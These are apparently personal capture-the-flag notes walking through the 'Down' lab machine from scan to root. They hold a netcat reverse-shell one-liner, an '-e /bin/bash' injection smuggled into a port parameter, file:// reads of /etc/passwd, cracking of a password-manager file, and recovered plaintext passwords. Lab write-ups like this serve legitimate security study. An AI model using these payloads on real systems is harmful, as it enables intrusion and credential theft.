DOWN-HTB Notes

DOWN-HTB

Here is my notes on DOWN box from Vulnlab which deployed to Hackthebox from yesterday.

DOWN: 10.10.95.4

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6cc217ccadaed34fd04efe6f94cddf8 (ECDSA)
|_  256 fa061ff4bf8ce3b0c840210d5706dd11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)


No Interesting Nikto - NOPE ! 


/index.php: 

Is that website down, or is it just you?

Please enter a URL. - Input Field. 

Looks like it respond to Kali really well. 

http://10.8.0.71/ || whoami && wget http://10.8.0.71/


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.0.71 1234 >/tmp/f

OS Command Injections Example: #DOWN-VL

sudo nc -lnvp 80
listening on [any] 80 ...
connect to [10.8.0.71] from (UNKNOWN) [10.10.95.4] 51664
GET / HTTP/1.1
Host: 10.8.0.71
User-Agent: curl/7.81.0
Accept: */*

So the target use curl to grab the data from the URL.

url=http://localhost/+%26%26+file%3a///etc/passwd

http://localhost/ && file:///etc/passwd

url=http://localhost/+file:///etc/passwd

http://localhost file:///etc/passwd

url=http://localhost/+file:///var/www/html/index.php

index.php:

<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
            <input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
            <button type="submit">Is it refused?</button>
        </form>';
} else {
  echo '<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form>';
}

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }


[SNIP]

BurpSuite:

POST /index.php?expertmode=tcp 

ip=10.8.0.71&port=1234 #WORKS ! 

ip=10.8.0.71&port=1234+-e+/bin/bash


https://xr34p.com/posts/Vulnlab-Down-Writeup/




┌──(root㉿kali)-[/home/kali/Kali-Tools/p0wny-shell/shell.php]
└─# sudo nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.8.0.71] from (UNKNOWN) [10.10.95.4] 44298

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname
down
python3 -c 'import pty; pty.spawn("/bin/bash")'


python3 -c 'import pty; pty.spawn("/bin/bash")'


USER-SHELL !

www-data@down:/var/www/html$ ls
ls
index.php  logo.png  style.css  user_aeT1xa.txt
www-data@down:/var/www/html$ cat user_aeT1xa.txt
cat user_aeT1xa.txt
VL{REDIRECTED}

USER.TXT: VL{REDIRECTED}

PRIV ESC:

www-data -> aleks:

GCC enabled. 

no interesting /opt directory.

no SUID binary. 

no sudo -l. 

no interesting getcap binaries either. 

LINPEAS: 

[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
/usr/bin/gettext.sh #NOPE
/usr/bin/rescan-scsi-bus.sh   #NOPE

[+] Files inside others home (limit 20)
/home/aleks/.bashrc
/home/aleks/.sudo_as_admin_successful
/home/aleks/.local/share/pswm/pswm #Interesting ?
/home/aleks/.profile
/home/aleks/.bash_logout

www-data@down:/home/aleks/.local/share/pswm$ ls -lah
ls -lah
total 12K
drwxrwxr-x 2 aleks aleks 4.0K Sep 13 15:36 .
drwxrwxr-x 3 aleks aleks 4.0K Sep 13 15:36 ..
-rw-rw-r-- 1 aleks aleks  151 Sep 13 15:36 pswm
www-data@down:/home/aleks/.local/share/pswm$ cat pswm
cat pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
ls
pswm
www-data@down:/home/aleks/.local/share/pswm$ cat pswm
cat pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==




No Crontab either !. 

Neither cron.d. 


PSWM Cracking: 

https://xr34p.com/posts/Vulnlab-Down-Writeup/

https://github.com/seriotonctf/pswm-decryptor

┌──(root㉿kali)-[/home/kali/Kali-Tools/pswm-decryptor]
└─# sudo pip3 install cryptocode prettytable
Collecting cryptocode
  Downloading cryptocode-0.1-py3-none-any.whl.metadata (2.9 kB)
Requirement already satisfied: prettytable in /usr/lib/python3/dist-packages (3.6.0)
Requirement already satisfied: pycryptodomex in /usr/lib/python3/dist-packages (from cryptocode) (3.11.0)
Requirement already satisfied: wcwidth in /usr/lib/python3/dist-packages (from prettytable) (0.2.13)
Downloading cryptocode-0.1-py3-none-any.whl (4.1 kB)
Installing collected packages: cryptocode
Successfully installed cryptocode-0.1
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

┌──(root㉿kali)-[/home/kali/Kali-Tools/pswm-decryptor]
└─# sudo leafpad pswm

┌──(root㉿kali)-[/home/kali/Kali-Tools/pswm-decryptor]
└─# cat pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

┌──(root㉿kali)-[/home/kali/Kali-Tools/pswm-decryptor]
└─# python3 pswm-decrypt.py -f pswm -w /usr/share/wordlists/rockyou.txt
[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias      | Username | Password             |
+------------+----------+----------------------+
| pswm       | aleks    | flower               |
| aleks@down | aleks    | 1uY3w22uc-Wr{xNHR~+E |
+------------+----------+----------------------+

aleks:1uY3w22uc-Wr{xNHR~+E - aleks SHELL !


┌──(root㉿kali)-[/home/kali/VULNLAB]
└─# sudo rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.8.0.71] from (UNKNOWN) [10.10.95.4] 57756
python3 -c 'import pty; pty.spawn("/bin/bash")'

www-data@down:/var/www/html$
www-data@down:/var/www/html$ su - aleks
su - aleks
Password: flower

su: Authentication failure
www-data@down:/var/www/html$ su - aleks
su - aleks
Password: 1uY3w22uc-Wr{xNHR~+E

aleks@down:~$ whoami
whoami
aleks

aleks -> ROOT: 

aleks@down:~$ sudo -l
sudo -l
[sudo] password for aleks: 1uY3w22uc-Wr{xNHR~+E

Matching Defaults entries for aleks on down:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL
aleks@down:~$ sudo su
sudo su
root@down:/home/aleks# whoami
whoami
root
root@down:/home/aleks# id
id
uid=0(root) gid=0(root) groups=0(root)
root@down:/home/aleks# hostname
hostname
down


ROOT-SHELL ! 

root@down:~# whoami
whoami
root
root@down:~# hostname
hostname
down
root@down:~# ls
ls
root.txt  snap
root@down:~# cat root.txt
cat root.txt
VL{REDIRECTED}

ROOT.TXT: VL{REDIRECTED}









/javascript - Forbidden - NOPE !

/server-status - Forbidden - NOPE !


Source Page of index.php = Nothing Interesting. 

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel